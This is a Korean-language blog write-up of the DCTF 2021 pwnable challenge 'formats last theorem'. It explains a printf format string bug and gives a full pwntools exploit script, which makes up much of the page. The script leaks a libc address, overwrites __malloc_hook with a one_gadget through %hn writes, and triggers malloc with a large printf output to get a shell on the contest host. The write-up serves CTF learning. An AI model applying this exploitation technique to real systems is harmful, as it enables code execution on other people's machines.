CTF/Write UPs

[DCTF 2021 : pwnable] formats last theorem 풀이 (FSB, printf, malloc_hook)

jir4vvit 2021. 5. 17. 16:28
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

대회시간 중 삽질만 퍽퍽하다가 결국 못풀었던 문제이다. 

롸업보고 풀었다 ㅠ_____ㅠ

 

printf에서 malloc_hook을 트리거할 수 있다는 것을 배웠다.


400점짜리 문제 

description : I dare  you to hook the malloc

 

Analysis

mitigation

Full RELRO이다. got overwriting은 기본적으로 되지 않겠지..

여기서 기본적으로 흐름을 바꿀 수 있는 키워드?는 malloc_hook, free_hook, rtld 등이 있다.

execution

혹시나 했는데 FSB가 트리거 된다.

code

main이 vuln을 호출한다.

vuln

저 printf에서 FSB 취약점이 트리거 될 수 있다. 얘는 while 문 안에서 계에속 scanf으로 입력을 받으며 트리거될 수 있다.

while문을 빠져나오려면 아래 alarm이 종료되어야 한다.

 

FSB 취약점은 강력한 취약점이라고 생각을 한다.

얘로 스택을 엿볼 수 있으며, 특정 주소를 원하는 값으로 덮는 것도 가능하기 때문이다.

 

아무튼.. 이 친구를 적극 활용하여 문제를 풀어보자.

Exploit Scenario

Summary

  1. libc leak
  2. malloc_hook을 onegadget으로 overwriting
  3. 0x1000만큼의 데이터를 printf로 출력

1. 일단 libc leak을 해야 한다. 

pie도 걸려있어서 pie 주소도 leak을 해야하나? 생각했는데, 안해도 된다. 어차피 우리는 malloc hook을 onegadget으로 덮을건데 이때는 libc base만 필요하기 때문

offset은 23이다.

payload = ''
payload += '%23$p'

#pause()
p.sendlineafter('point\n', payload)

print p.recvuntil('0x')
libc_leak = '0x' +  p.recv(12)
libc_leak = int(libc_leak, 16)
log.info('libc_leak = ' +hex(libc_leak))

 

2. malloc_hook을 onegadget으로 overwriting하기

# malloc_hook -> onegadget
payload = ''
payload += '%{}c'.format(l)
payload += '%11$hn'
payload += '%{}c'.format(m)
payload += '%12$hn'
payload += '%{}c'.format(h)
payload += '%13$hn'
payload += 'A' * (8 - len(payload)%8)
print len(payload)
payload += p64(malloc_hook)
payload += p64(malloc_hook + 2)
payload += p64(malloc_hook + 4)

pause()
p.sendlineafter('point\n', payload)

 

3. printf로 큰 문자열 출력

이 문제를 풀면서 새롭게 알게된 사실이다.

printf로 크으은 문자열을 출력하게 된다면 malloc과 free를 호출한다고 한다.

그래서 malloc_hook 또는 free_hook을 원하는 함수로 덮어서 printf 인자로 큰 문자열 준다면 원하는 함수를 실행시킬 수 있다.

 

또 stdout의 함수포인터도 덮을 수 있다고 한다.

p.sendlineafter('point\n','%65536c') # 0x10000

Exploit Code

from pwn import *

context.log_level = 'DEBUG'

#p = process('./formats_last_theorem')
p = remote('dctf-chall-formats-last-theorem.westeurope.azurecontainer.io', 7482)
e = ELF('./formats_last_theorem')
libc = e.libc


rtld_offset = 0x61bf60
one_gadget_offset = 0x4f432 #0x10a41c #0x4f432 #0x4f3d5
malloc_hook_offset = 0x3ebc30

alarm = e.got['alarm']
log.info('alarm = '+hex(alarm))

payload = ''
payload += '%23$p'

#pause()
p.sendlineafter('point\n', payload)

print p.recvuntil('0x')
libc_leak = '0x' +  p.recv(12)
libc_leak = int(libc_leak, 16)
log.info('libc_leak = ' +hex(libc_leak))

libc_base = libc_leak - libc.symbols['__libc_start_main'] - 231
log.info('libc_base = ' + hex(libc_base))

rtld = libc_base + rtld_offset
one_gadget = libc_base + one_gadget_offset
system = libc_base + libc.symbols['system']

malloc_hook = libc_base + malloc_hook_offset

#####
low = one_gadget & 0xffff
middle = (one_gadget >> 16) & 0xffff
high = (one_gadget >> 32) & 0xffff

l = low

if middle > low:
    m = middle - low
else:
    m = 0x10000 + middle - low

if high > middle:
    h = high - middle
else:
    h = 0x10000 + high - middle

log.info('one_gadget = '+hex(one_gadget))
log.info(hex(l))
log.info(hex(m))
log.info(hex(h))

log.info('rtld = ' + hex(rtld))

# offset 6
# malloc_hook -> onegadget
payload = ''
payload += '%{}c'.format(l)
payload += '%11$hn'
payload += '%{}c'.format(m)
payload += '%12$hn'
payload += '%{}c'.format(h)
payload += '%13$hn'
payload += 'A' * (8 - len(payload)%8)
print len(payload)
payload += p64(malloc_hook)
payload += p64(malloc_hook + 2)
payload += p64(malloc_hook + 4)

pause()
p.sendlineafter('point\n', payload)

pause()
p.sendlineafter('point\n','%65536c') # 0x10000
p.recvuntil('entered\n')


p.interactive()